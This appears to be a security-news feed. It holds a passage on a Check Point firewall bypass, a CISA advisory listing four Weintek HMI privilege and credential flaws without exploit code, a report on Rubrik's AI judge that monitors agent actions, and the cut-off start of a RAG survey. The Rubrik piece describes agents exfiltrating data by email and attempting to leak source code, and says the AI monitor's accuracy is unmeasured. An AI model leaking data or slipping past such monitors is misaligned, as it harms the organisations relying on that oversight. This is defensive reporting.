<p class="wp-block-paragraph">While it can be technically challenging to keep the IP address allowlists that Check Point recommends current, given DHCP’s ability to easily change those addresses, <a href="https://www.linkedin.com/in/assafmo/" target="_blank" rel="noreferrer noopener">Assaf Morag</a>, a cybersecurity researcher at Flare, noted that specifically limiting access to a management console is far more critical than limiting overall external access.</p>



<p class="wp-block-paragraph">“Implementing Trusted Clients as a per-IP allowlist is impractical,” he said, but that is not the case with restricting management access. “The more scalable solution is to restrict access based on trusted administrative network segments such as VPN pools, management VLANs, or jump hosts rather than maintaining lists of individual DHCP-assigned client addresses,” he explained. “That gives you the security benefit without creating a full-time administrative task. Maintaining allowlists for individual hosts is much more practical when those hosts have stable, predictable IP addresses, rather than dynamically assigned DHCP addresses.”</p>



<p class="wp-block-paragraph"><a href="https://www.linkedin.com/in/pieter-arntz-04164b2/" target="_blank" rel="noreferrer noopener">Pieter Arntz</a>, malware intelligence researcher at Malwarebytes, also noted that the constantly changing nature of global IP addresses can prove annoying to IT teams. Stressing that he is not familiar with Check Point’s specific settings, he noted, “Certain settings are a nuisance when applied strictly, and at some point the IT staff gets tired of constantly tweaking and they abandon the most secure path.”</p>



<h2 class="wp-block-heading">Ideal platform for long-term attacks</h2>



<p class="wp-block-paragraph"><a href="https://www.linkedin.com/in/eclectiqus/" target="_blank" rel="noreferrer noopener">Mike Wilkes</a>, enterprise CISO at Aikido Security,  agreed that the severity and exposure of this hole is alarming.</p>



<p class="wp-block-paragraph">“This is exactly the kind of vulnerability that keeps CISOs awake at night because it strikes at the one system that is supposed to stand between the attacker and everything else. An authentication bypass that grants administrative control of a perimeter firewall isn’t just another CVE to patch. It’s an invitation for an adversary to rewrite the rules of the network itself,” he said. “The uncomfortable reality is that nobody runs a CrowdStrike agent on their firewall. Once an attacker owns an edge device, they gain a uniquely privileged position that often falls outside the visibility of traditional endpoint security, making it an ideal platform for persistence, credential theft, traffic manipulation, and long-term espionage.”</p>



<p class="wp-block-paragraph">IDC’s Dickson strongly encouraged CISOs to deploy the patch, not to just change settings to mitigate the issue. </p>



<p class="wp-block-paragraph">“Apply the actual hotfix,” he said. “Don’t just restrict Trusted Client IPs and call it done. That’s a stopgap, not a fix. Any internet-facing management console, Check Point or otherwise, is a five-alarm architecture problem independent of this CVE.”</p>



<p class="wp-block-paragraph">And, he added, “since attackers here can disable logging, audit admin activity going back before the bug surfaced. Quiet logs aren’t proof nothing happened. This is the recurring theme with ‘single pane of glass’ security tools: the console built to make everything easier to run is also the one thing you really don’t want someone else driving.”</p>
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<title><![CDATA[Weintek cMT3092X]]></title>
<description><![CDATA[View CSAF
Summary
Successful exploitation of these vulnerabilities could allow a non-privileged user to escalate privileges or view the credentials of other users.
The following versions of Weintek cMT3092X are affected:

cMT3092X firmware]]></description>
<link>https://tsecurity.de/de/3689937/it-security-nachrichten/weintek-cmt3092x/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3689937/it-security-nachrichten/weintek-cmt3092x/</guid>
<pubDate>Thu, 23 Jul 2026 20:16:14 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p><a href="https://github.com/cisagov/CSAF/blob/develop/csaf_files/OT/white/2026/icsa-26-204-03.json"><strong>View CSAF</strong></a></p>
<h2>Summary</h2>
<p><strong>Successful exploitation of these vulnerabilities could allow a non-privileged user to escalate privileges or view the credentials of other users.</strong></p>
<p>The following versions of Weintek cMT3092X are affected:</p>
<ul>
<li>cMT3092X firmware &lt;20210218 </li>
<li>EasyWeb &lt;v2.1.20</li>
</ul>
<div class="csaf-table">
<table class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap>
<thead>
<tr>
<th role="columnheader" data-tablesaw-priority="persist">CVSS</th>
<th role="columnheader">Vendor</th>
<th role="columnheader">Equipment</th>
<th role="columnheader">Vulnerabilities</th>
</tr>
</thead>
<tbody>
<tr>
<td>v3 8.8</td>
<td>Weintek</td>
<td>Weintek cMT3092X</td>
<td>Reliance on Cookies without Validation and Integrity Checking in a Security Decision, Incorrect Permission Assignment for Critical Resource, Plaintext Storage of a Password, Incorrect User Management</td>
</tr>
</tbody>
</table>
</div>
<h3>Background</h3>
<ul>
<li><strong>Critical Infrastructure Sectors: </strong>Critical Manufacturing</li>
<li><strong>Countries/Areas Deployed: </strong>Worldwide</li>
<li><strong>Company Headquarters Location: </strong>Taiwan</li>
</ul>
<hr>
<h2>Vulnerabilities</h2>
<div class="csaf-accordion">
<p><a class="csaf-accordion-toggle-all" href="https://www.cisa.gov/#">Expand All +</a></p>
<div class="csaf-accordion-item">
<h3><a class="csaf-accordion-toggle" href="https://www.cisa.gov/#">CVE-2026-60134</a></h3>
<div class="csaf-accordion-content">
<p>Weintek cMT3092X HMI allows a non-privileged user to modify cookies to gain elevated privileges.</p>
<p><a href="https://www.cve.org/CVERecord?id=CVE-2026-60134">View CVE Details</a></p>
<hr>
<h4>Affected Products</h4>
<h5>Weintek cMT3092X</h5>
<div class="ics-vendor-version-status">
<div class="ics-vendor"><strong>Vendor:</strong><br>Weintek</div>
<div class="ics-version"><strong>Product Version:</strong><br>Weintek cMT3092X firmware: &lt;20210218, Weintek EasyWeb: &lt;v2.1.20</div>
<div class="ics-status"><strong>Product Status:</strong><br>known_affected</div>
</div>
<div class="ics-remediations">
<h6>Remediations</h6>
<p><strong>Vendor fix</strong><br>Weintek recommends users apply the patch package named cmt_typeB_20260316_007.patch, which contains a newer EasyWeb 2.3.17-typeb. This fix will be delivered as a patch-only update; no separate standard firmware release is planned. Users may request the patch directly from Weintek support (https://www.weintek.com/globalw/Support/Knowledge.aspx) or from distributors.<br><a href="https://www.weintek.com/globalw/Support/Knowledge.aspx">https://www.weintek.com/globalw/Support/Knowledge.aspx</a></p>
<p><strong>Mitigation</strong><br>Weintek has published a document with more details about this issue at https://dl.weintek.com/public/Document/TEC/TEC25003E_cMT_EasyWeb_V2_Security_Issues.pdf.<br><a href="https://dl.weintek.com/public/Document/TEC/TEC25003E_cMT_EasyWeb_V2_Security_Issues.pdf">https://dl.weintek.com/public/Document/TEC/TEC25003E_cMT_EasyWeb_V2_Security_Issues.pdf</a></p>
</div>
<p><strong>Relevant CWE:</strong> <a href="https://cwe.mitre.org/data/definitions/784.html">CWE-784 Reliance on Cookies without Validation and Integrity Checking in a Security Decision</a></p>
<hr>
<h4>Metrics</h4>
<div class="csaf-table csaf-metrics-table">
<table class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap>
<thead>
<tr>
<th role="columnheader" data-tablesaw-priority="persist">CVSS Version</th>
<th role="columnheader">Base Score</th>
<th role="columnheader">Base Severity</th>
<th role="columnheader">Vector String</th>
</tr>
</thead>
<tbody>
<tr>
<td>3.1</td>
<td>8.8</td>
<td>HIGH</td>
<td><a href="https://www.first.org/cvss/calculator/3.1#CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H">CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H</a></td>
</tr>
<tr>
<td>4.0</td>
<td>8.7</td>
<td>HIGH</td>
<td><a href="https://www.first.org/cvss/calculator/4.0#CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N">CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N</a></td>
</tr>
</tbody>
</table>
</div>
</div>
</div>
<div class="csaf-accordion-item">
<h3><a class="csaf-accordion-toggle" href="https://www.cisa.gov/#">CVE-2026-61892</a></h3>
<div class="csaf-accordion-content">
<p>Weintek cMT3092X HMI allows a non-privileged user to modify tokens to escalate privileges.</p>
<p><a href="https://www.cve.org/CVERecord?id=CVE-2026-61892">View CVE Details</a></p>
<hr>
<h4>Affected Products</h4>
<h5>Weintek cMT3092X</h5>
<div class="ics-vendor-version-status">
<div class="ics-vendor"><strong>Vendor:</strong><br>Weintek</div>
<div class="ics-version"><strong>Product Version:</strong><br>Weintek cMT3092X firmware: &lt;20210218, Weintek EasyWeb: &lt;v2.1.20</div>
<div class="ics-status"><strong>Product Status:</strong><br>known_affected</div>
</div>
<div class="ics-remediations">
<h6>Remediations</h6>
<p><strong>Vendor fix</strong><br>Weintek recommends users apply the patch package named cmt_typeB_20260316_007.patch, which contains a newer EasyWeb 2.3.17-typeb. This fix will be delivered as a patch-only update; no separate standard firmware release is planned. Users may request the patch directly from Weintek support (https://www.weintek.com/globalw/Support/Knowledge.aspx) or from distributors.<br><a href="https://www.weintek.com/globalw/Support/Knowledge.aspx">https://www.weintek.com/globalw/Support/Knowledge.aspx</a></p>
<p><strong>Mitigation</strong><br>Weintek has published a document with more details about this issue at https://dl.weintek.com/public/Document/TEC/TEC25003E_cMT_EasyWeb_V2_Security_Issues.pdf.<br><a href="https://dl.weintek.com/public/Document/TEC/TEC25003E_cMT_EasyWeb_V2_Security_Issues.pdf">https://dl.weintek.com/public/Document/TEC/TEC25003E_cMT_EasyWeb_V2_Security_Issues.pdf</a></p>
</div>
<p><strong>Relevant CWE:</strong> <a href="https://cwe.mitre.org/data/definitions/732.html">CWE-732 Incorrect Permission Assignment for Critical Resource</a></p>
<hr>
<h4>Metrics</h4>
<div class="csaf-table csaf-metrics-table">
<table class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap>
<thead>
<tr>
<th role="columnheader" data-tablesaw-priority="persist">CVSS Version</th>
<th role="columnheader">Base Score</th>
<th role="columnheader">Base Severity</th>
<th role="columnheader">Vector String</th>
</tr>
</thead>
<tbody>
<tr>
<td>3.1</td>
<td>8.8</td>
<td>HIGH</td>
<td><a href="https://www.first.org/cvss/calculator/3.1#CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H">CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H</a></td>
</tr>
<tr>
<td>4.0</td>
<td>8.7</td>
<td>HIGH</td>
<td><a href="https://www.first.org/cvss/calculator/4.0#CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N">CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N</a></td>
</tr>
</tbody>
</table>
</div>
</div>
</div>
<div class="csaf-accordion-item">
<h3><a class="csaf-accordion-toggle" href="https://www.cisa.gov/#">CVE-2026-61886</a></h3>
<div class="csaf-accordion-content">
<p>Weintek cMT3092X HMI stores user account passwords in plaintext.</p>
<p><a href="https://www.cve.org/CVERecord?id=CVE-2026-61886">View CVE Details</a></p>
<hr>
<h4>Affected Products</h4>
<h5>Weintek cMT3092X</h5>
<div class="ics-vendor-version-status">
<div class="ics-vendor"><strong>Vendor:</strong><br>Weintek</div>
<div class="ics-version"><strong>Product Version:</strong><br>Weintek cMT3092X firmware: &lt;20210218, Weintek EasyWeb: &lt;v2.1.20</div>
<div class="ics-status"><strong>Product Status:</strong><br>known_affected</div>
</div>
<div class="ics-remediations">
<h6>Remediations</h6>
<p><strong>Vendor fix</strong><br>Weintek recommends users apply the patch package named cmt_typeB_20260316_007.patch, which contains a newer EasyWeb 2.3.17-typeb. This fix will be delivered as a patch-only update; no separate standard firmware release is planned. Users may request the patch directly from Weintek support (https://www.weintek.com/globalw/Support/Knowledge.aspx) or from distributors.<br><a href="https://www.weintek.com/globalw/Support/Knowledge.aspx">https://www.weintek.com/globalw/Support/Knowledge.aspx</a></p>
<p><strong>Mitigation</strong><br>Weintek has published a document with more details about this issue at https://dl.weintek.com/public/Document/TEC/TEC25003E_cMT_EasyWeb_V2_Security_Issues.pdf.<br><a href="https://dl.weintek.com/public/Document/TEC/TEC25003E_cMT_EasyWeb_V2_Security_Issues.pdf">https://dl.weintek.com/public/Document/TEC/TEC25003E_cMT_EasyWeb_V2_Security_Issues.pdf</a></p>
</div>
<p><strong>Relevant CWE:</strong> <a href="https://cwe.mitre.org/data/definitions/256.html">CWE-256 Plaintext Storage of a Password</a></p>
<hr>
<h4>Metrics</h4>
<div class="csaf-table csaf-metrics-table">
<table class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap>
<thead>
<tr>
<th role="columnheader" data-tablesaw-priority="persist">CVSS Version</th>
<th role="columnheader">Base Score</th>
<th role="columnheader">Base Severity</th>
<th role="columnheader">Vector String</th>
</tr>
</thead>
<tbody>
<tr>
<td>3.1</td>
<td>6.5</td>
<td>MEDIUM</td>
<td><a href="https://www.first.org/cvss/calculator/3.1#CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N">CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N</a></td>
</tr>
<tr>
<td>4.0</td>
<td>7.1</td>
<td>HIGH</td>
<td><a href="https://www.first.org/cvss/calculator/4.0#CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N">CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N</a></td>
</tr>
</tbody>
</table>
</div>
</div>
</div>
<div class="csaf-accordion-item">
<h3><a class="csaf-accordion-toggle" href="https://www.cisa.gov/#">CVE-2026-60135</a></h3>
<div class="csaf-accordion-content">
<p>An attacker can modify data that should be restricted to read‑only access.</p>
<p><a href="https://www.cve.org/CVERecord?id=CVE-2026-60135">View CVE Details</a></p>
<hr>
<h4>Affected Products</h4>
<h5>Weintek cMT3092X</h5>
<div class="ics-vendor-version-status">
<div class="ics-vendor"><strong>Vendor:</strong><br>Weintek</div>
<div class="ics-version"><strong>Product Version:</strong><br>Weintek cMT3092X firmware: &lt;20210218, Weintek EasyWeb: &lt;v2.1.20</div>
<div class="ics-status"><strong>Product Status:</strong><br>known_affected</div>
</div>
<div class="ics-remediations">
<h6>Remediations</h6>
<p><strong>Vendor fix</strong><br>Weintek recommends users apply the patch package named cmt_typeB_20260316_007.patch, which contains a newer EasyWeb 2.3.17-typeb. This fix will be delivered as a patch-only update; no separate standard firmware release is planned. Users may request the patch directly from Weintek support (https://www.weintek.com/globalw/Support/Knowledge.aspx) or from distributors.<br><a href="https://www.weintek.com/globalw/Support/Knowledge.aspx">https://www.weintek.com/globalw/Support/Knowledge.aspx</a></p>
<p><strong>Mitigation</strong><br>Weintek has published a document with more details about this issue at https://dl.weintek.com/public/Document/TEC/TEC25003E_cMT_EasyWeb_V2_Security_Issues.pdf.<br><a href="https://dl.weintek.com/public/Document/TEC/TEC25003E_cMT_EasyWeb_V2_Security_Issues.pdf">https://dl.weintek.com/public/Document/TEC/TEC25003E_cMT_EasyWeb_V2_Security_Issues.pdf</a></p>
</div>
<p><strong>Relevant CWE:</strong> <a href="https://cwe.mitre.org/data/definitions/286.html">CWE-286 Incorrect User Management</a></p>
<hr>
<h4>Metrics</h4>
<div class="csaf-table csaf-metrics-table">
<table class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap>
<thead>
<tr>
<th role="columnheader" data-tablesaw-priority="persist">CVSS Version</th>
<th role="columnheader">Base Score</th>
<th role="columnheader">Base Severity</th>
<th role="columnheader">Vector String</th>
</tr>
</thead>
<tbody>
<tr>
<td>3.1</td>
<td>6.5</td>
<td>MEDIUM</td>
<td><a href="https://www.first.org/cvss/calculator/3.1#CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:N">CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:N</a></td>
</tr>
<tr>
<td>4.0</td>
<td>7.1</td>
<td>HIGH</td>
<td><a href="https://www.first.org/cvss/calculator/4.0#CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:N/VI:H/VA:N/SC:N/SI:N/SA:N">CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:N/VI:H/VA:N/SC:N/SI:N/SA:N</a></td>
</tr>
</tbody>
</table>
</div>
</div>
</div>
</div>
<hr>
<h2>Acknowledgments</h2>
<ul>
<li>Vincenzo Giuseppe Colacino of Secoore reported these vulnerabilities to CISA</li>
</ul>
<hr>
<h2>Legal Notice and Terms of Use</h2>
<p>This product is provided subject to this Notification (https://www.cisa.gov/notification) and this Privacy &amp; Use policy (https://www.cisa.gov/privacy-policy).</p>
<hr>
<h2>Recommended Practices</h2>
<p>CISA recommends users take the following measures to protect themselves from social engineering attacks:</p>
<p>Practice principles of least privilege.</p>
<p>Do not click web links or open attachments in unsolicited email messages.</p>
<p>Refer to Recognizing and Avoiding Email Scams for more information on avoiding email scams.</p>
<p>Refer to Avoiding Social Engineering and Phishing Attacks for more information on social engineering attacks.</p>
<p>CISA reminds organizations to perform proper impact analysis and risk assessment prior to deploying defensive measures.</p>
<p>CISA also provides a section for control systems security recommended practices on the ICS webpage on cisa.gov/ics. Several CISA products detailing cyber defense best practices are available for reading and download, including Improving Industrial Control Systems Cybersecurity with Defense-in-Depth Strategies.</p>
<p>CISA encourages organizations to implement recommended cybersecurity strategies for proactive defense of ICS assets.</p>
<p>Additional mitigation guidance and recommended practices are publicly available on the ICS webpage at cisa.gov/ics in the technical information paper, ICS-TIP-12-146-01B--Targeted Cyber Intrusion Detection and Mitigation Strategies.</p>
<p>Organizations observing suspected malicious activity should follow established internal procedures and report findings to CISA for tracking and correlation against other incidents.</p>
<p>No known public exploitation specifically targeting these vulnerabilities has been reported to CISA at this time.</p>
<hr>
<h2>Revision History</h2>
<ul>
<li><strong>Initial Release Date: </strong>2026-07-23</li>
</ul>
<table class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap>
<thead>
<tr>
<th role="columnheader" data-tablesaw-priority="persist">Date</th>
<th role="columnheader">Revision</th>
<th role="columnheader">Summary</th>
</tr>
</thead>
<tbody>
<tr>
<td>2026-07-23</td>
<td>1</td>
<td>Initial Publication</td>
</tr>
</tbody>
</table>
<hr>
<h2>Legal Notice and Terms of Use</h2>]]></content:encoded>
</item>
<item>
<title><![CDATA[An AI now judges every move Rubrik's agents make, its AI chief said at VB Transform 2026 — but no one's measured if the judge is right]]></title>
<description><![CDATA[At a CISO roundtable organized by Anthropic's chief information security officer, Dev Rishi asked a simple question: Did everyone in the room have their AI governance and security policies written down? Every hand went up — about 14 people, by his count. His follow-up, about how anyone actually e...]]></description>
<link>https://tsecurity.de/de/3689833/it-nachrichten/an-ai-now-judges-every-move-rubriks-agents-make-its-ai-chief-said-at-vb-transform-2026-but-no-ones-measured-if-the-judge-is-right/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3689833/it-nachrichten/an-ai-now-judges-every-move-rubriks-agents-make-its-ai-chief-said-at-vb-transform-2026-but-no-ones-measured-if-the-judge-is-right/</guid>
<pubDate>Thu, 23 Jul 2026 19:19:49 +0200</pubDate>
<category>📰 IT Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p>At a CISO roundtable organized by Anthropic's chief information security officer, Dev Rishi asked a simple question: Did everyone in the room have their AI governance and security policies written down? Every hand went up — about 14 people, by his count. His follow-up, about how anyone actually enforces those policies in practice, got a different response. "And everybody chuckled," Rishi, the GM of AI at <a href="https://www.rubrik.com/company">Rubrik</a>, recalled at <a href="https://venturebeat.com/vbtransform2026">VB Transform 2026</a> fireside chat in Menlo Park. "It was like the dirty secret in the room that everyone has these policies, but no way to actually make them real."</p><p>“Our founder and CTO has actually been really pushing to enable our agents in YOLO mode,” Rishi told the audience. That admission comes from a publicly traded data security firm whose business is backing up what he called the most important data in the world.</p><p>YOLO mode strips the permission prompt out of agent workflows and lets the agent act on its own. In Rubrik's version, a second AI judges every action in real time against policy in place of a human clicking approve. Rubrik is running the experiment on itself first. Rishi treats autonomy as a settled capability question and an open judgment question. "If you ask the agent to act autonomously, it will," he said. "It's a question that you have internally. Should it?"</p><p>Rubrik earned that question the hard way. When <a href="https://claude.com/product/claude-code">Claude Code</a> and <a href="https://www.anthropic.com/product/claude-cowork">Cowork</a> pilots rolled out, the company required every command to run in ask mode so the employee issuing it carried the liability, and the developer pushback filled a single Slack thread 120 messages deep. </p><p>"The developers basically are pushing back, and they're like, this is like the iTunes service agreement. I'm just hitting check, check, check, check, check, check, check," Rishi said. "There's no way that I can actually read through this. And it becomes security theater." Roughly 80% of respondents are in the same bind, Rishi said, citing <a href="https://www.rubrik.com/company/newsroom/press-releases/26/as-agentic-ai-adoption-accelerates-rubrik-warns-of-growing-security-gaps">Rubrik Zero Labs research</a> that found monitoring and approving agent actions takes more time than the agents save. The State of the Agent, the April report behind that figure, surveyed more than 1,600 IT and security leaders.</p><p>SAGE is the reason Rubrik trusts the bet. Short for Semantic AI Governance Engine, SAGE is the arbitration layer inside <a href="https://www.rubrik.com/products/rubrik-agent-cloud">Rubrik Agent Cloud</a> that watches every action an agent takes and reads the semantic intent behind it, then rules the action in or out against policies written in natural language. "We took what people said was human in the loop, a good idea, and we replaced it with AI in the loop," Rishi said, describing the pitch to security chiefs he characterized as skittish about non-deterministic systems.</p><h2>Security approval, not cost, blocks AI ROI</h2><p>Rishi’s path to Rubrik ran through <a href="https://techcrunch.com/2025/06/25/rubrik-acquires-predibase-to-accelerate-adoption-of-ai-agents/">Predibase</a>, the generative AI infrastructure startup he co-founded and ran as CEO until Rubrik agreed to acquire it in June 2025. Before that, he led ML product at Google on the team that became Vertex AI, served as Kaggle's first product manager as it grew from about one million to ten million users, and holds bachelor's and master's degrees in computer science from Harvard. </p><p>Over roughly his first three and a half months at Rubrik, Rishi set up 200 customer conversations with IT and security leaders across a customer base that looks like the Global 2000, asking open-ended questions about cost, latency, performance, and orchestration. "Pretty consistently, what I heard through all of those conversations was that all of those are pretty secondary," he said. "The main challenge is actually, how do I get this approved from a security and risk standpoint? I'm concerned about all the different things that could go wrong. Actually, I felt like that was one of the biggest things constraining ROI."</p><p><a href="https://venturebeat.com/orchestration/wall-street-is-debating-the-ai-buildout-enterprises-just-answered-86-say-their-gpus-run-at-half-capacity-or-less">VentureBeat Pulse research</a> presented on the Transform stage earlier in the day confirms the gap Rishi kept hearing. Two-thirds of enterprises, 66%, already allow or are actively building toward production deployment with zero human review, yet only 5% fully trust the automated evaluations that would make that decision. </p><h2>One AI reading what the rulebook can't</h2><p>Rubrik's own policies exposed why written rules fail as enforcement. One internal rule states that agents should respect Rubrik's customer data use policy, which sounds enforceable until someone tries. "Rubrik's customer data use policy is like a three-page document of legal text," Rishi said. "I have no idea how to write that in there as a rule." Asked on stage how a team of AI infrastructure people took on a problem that security engineers own, Rishi answered, "with a lot of naivety and innocence, honestly." His team bet that models good at understanding language could police other models, and SAGE became the answer.</p><p>The case for putting a model in the judgment seat comes down to precision. A rule like "agents should not be able to edit revenue fields in Salesforce" fails in conventional tooling because Salesforce does not delineate which fields count as revenue, Rishi explained, so administrators fall back on approving every Salesforce action by hand. SAGE reads the intent instead and acts as a judge, carrying organizational context, which can tell a benign lookup from the edit the policy prohibits.</p><p>Keeping the judge small is what makes the economics work. <!-- -->SAGE runs on a small language model that Rishi said operates at an order of magnitude lower cost and latency than a frontier LLM. "If I told you, don't worry, you're gonna be secure and governed, but I'm gonna double your cost and latency, you would tell me to get out of the room," Rishi said.</p><p>When Rishi asked who in the audience had worried about token consumption over the past year, half the hands went up. "And I guess the other half is probably just too lazy to raise their hand," he said.</p><p>SAGE is an aggregation of judges based on parameter-efficient fine-tuning that Rubrik uses to take on task-specific variants of a base model with shared organizational context. One judge watches for tool-use hallucinations while another suppresses PII before it can leave, each running as its own enforceable policy. Security and GRC teams have started writing financial rules into the same layer, including one internal policy barring AI spend on personal projects.</p><h2>The lethal trifecta</h2><p>Asked which attacks worry him most, Rishi pointed at the <a href="https://simonwillison.net/2025/Jun/16/the-lethal-trifecta/">lethal trifecta</a>, the term security researcher Simon Willison coined in June 2025 for an agent that holds private data while taking in content nobody vetted, with a channel to send what it finds to the outside world. The danger, according to Rishi, is what happens when individually legitimate permissions stack. An agent granted Salesforce access and email access on an employee's credentials has done nothing wrong yet, with <i>yet</i> being the operative word. "A very simple example is that an agent can start pulling data from Salesforce and then decide to accidentally leak and exfiltrate that out via an email," he told the audience. A financial services company he met the morning of the session made the point for him, telling Rishi that none of the individual permissions are bad on their own and the agent needs every one of them to do its job. "It should have permission to each of those systems, but it's the combination that ends up becoming really destructive," Rishi said.</p><p>Traditional identity and access management never priced in that combination because it relied on the judgment of the employee holding the credentials, Rishi argued, and agents supply none. "I can tell you the number of times Claude Code has tried to leak some of our sensitive source code to a public GitHub repository is incredibly high," he said. Cutting agents off from public resources entirely would defeat their purpose, which returns the problem to adjudicating intent in context rather than revoking access.</p><p>A separate <a href="https://venturebeat.com/security/shared-api-keys-expose-ai-agent-fleets-venturebeat-research">VentureBeat June Pulse survey</a> of 107 qualified enterprise respondents maps the blast radius of exactly this pattern. On the Transform stage that morning, VentureBeat research reported that 69% of companies run credential sharing somewhere in their agent fleet. Companies with shared credentials anywhere got hit more often, reporting a security incident or near-miss at a 63.5% rate (47 of 74), against 40.9% (9 of 22) where every agent carries its own scoped identity.</p><h2>The attacks no single turn reveals</h2><p>Rubrik Agent Cloud reached <a href="https://www.rubrik.com/blog/company/26/2/introducing-rubrik-agent-cloud-control-your-agents-with-ai">general availability in February</a>, though not everything Rishi described ships in it yet. Backtesting is just starting to roll out. The feature replays an organization's historical agent actions and tool calls against a new policy, showing where the policy would have stepped in and where an action would have sailed through uncaught, with policy edits applied in real time. Rishi called that archive one of the most valuable data troves an enterprise holds.</p><p>Real-time detection and blocking turn out to be the entry point rather than the whole product. Some attacks never trip a single-action rule. "No individual turn of the conversation was problematic, but if you took the session as a full trace, that ended up being problematic," Rishi said. Agent Cloud runs batch analysis across entire session traces every hour or every day and surfaces what Rubrik calls insights, the problems no individual guardrail caught. The same Zero Labs report found that 88% say they lack the ability to roll back agent actions without system disruption, a recovery gap that sits squarely in Rubrik's original line of business.</p><p>A skeptical CISO will ask the question the fireside did not answer. SAGE is a non-deterministic model policing other non-deterministic models, and Rishi offered no false positive or false negative rate for the judge itself. The closest thing the architecture gives to an answer is auditability, since backtesting and the batch insights both leave a human-reviewable trail of each call SAGE made and whatever got past it. Who watches the watcher, for now, is a trail of receipts rather than a benchmark. Until that benchmark exists, AI in the loop stays an operational wager rather than a quantified control.</p><p>Three questions fall out of the session for security teams. How many of the guardrails now in production depend on a human clicking approve, and what happens to that workload as agent count grows? Does anything in the stack enforce semantic intent, or is it all allow and deny lists? And can the team backtest agent behavior against a new policy, then unwind a multi-turn session without taking systems down?</p><p>Rishi's timing has a market behind it. In the same VentureBeat research, 82% of enterprises still name their primary AI provider's built-in guardrails and cloud controls as their main agent security layer, and 59% plan to adopt, add, or replace agent security tooling within the next 12 months. Only 12% include an agent-identity product in what they are considering, even with credential sharing still the norm. Every CISO at that Anthropic roundtable had a policy document and no enforcement mechanism, and Rubrik built a product for the space between the two. YOLO mode is the bet that an AI watching other AIs can finally make the policies real.</p>]]></content:encoded>
</item>
<item>
<title><![CDATA[The AI context gap: Enterprise AI organizations have a trust problem, not a retrieval problem — and most are still building the fix]]></title>
<description><![CDATA[Across 101 enterprises, the infrastructure that feeds AI agents their business context is being built faster than it can be trusted. Retrieval-augmented generation is already the default context source, and provider-native retrieval has quietly overtaken the dedicated vector databases that define...]]></description>
<link>https://tsecurity.de/de/3689828/it-nachrichten/the-ai-context-gap-enterprise-ai-organizations-have-a-trust-problem-not-a-retrieval-problem-and-most-are-still-building-the-fix/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3689828/it-nachrichten/the-ai-context-gap-enterprise-ai-organizations-have-a-trust-problem-not-a-retrieval-problem-and-most-are-still-building-the-fix/</guid>
<pubDate>Thu, 23 Jul 2026 19:19:42 +0200</pubDate>
<category>📰 IT Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p>Across 101 enterprises, the infrastructure that feeds AI agents their business context is being built faster than it can be trusted. Retrieval-augmented generation is already the default context source, and provider-native retrieval has quietly overtaken the dedicated vector databases that define the category — yet a majority of enterprises have already watched their agents produce confident, wrong answers traced to missing or inconsistent context. A governed semantic layer is emerging as the fix, but most are still building it; the field is converging on hybrid retrieval; and even as provider-native tools lead in practice, a plurality say they intend to keep best-of-breed. The result is a context gap — agents that sound authoritative running on a foundation their owners do not yet fully trust.</p><p>This wave of VentureBeat Pulse Research examines the enterprise RAG and context layer: what feeds AI agents their business context, which retrieval systems enterprises run, how they buy and measure them, where the architecture is heading, and — most revealingly — how often that context is already failing them.</p><p>The central finding is a context gap — the distance between how confidently enterprise agents answer and how reliable the context beneath them actually is. A majority of enterprises (57%) report that in the past six months their AI agents produced confident but wrong answers they traced to missing or inconsistent business context, and more than half of those said it happened more than once. This is not a fringe failure: retrieval is the primary context source for 38% of enterprises, more than any other approach, so when retrieval is thin or inconsistent, the errors it produces are wearing the agent’s authority. The infrastructure to fix it is being built — 58% already run or are building a governed semantic layer — but for most it is not yet in production.</p><p>Underneath, the market is consolidating in a direction that surprises. Provider-native retrieval — OpenAI’s file search (40%) and Google’s Vertex AI Search (38%) — already leads every dedicated vector database, and enterprises expect hybrid retrieval to dominate by the end of 2026 (34%). Yet a plurality (36%) say they intend to keep best-of-breed standalone tools rather than consolidate onto a provider’s native context stack, and a majority (57%) plan to switch or add a provider within the year. Stated preference and actual usage are pulling in opposite directions — the market is buying provider-native while insisting it wants independence.</p><h2>Methodology</h2><p>VentureBeat fielded this survey as part of its ongoing Pulse Research series. This survey focused on enterprise RAG infrastructure and the context layer — the retrieval systems, semantic layers, and context sources that 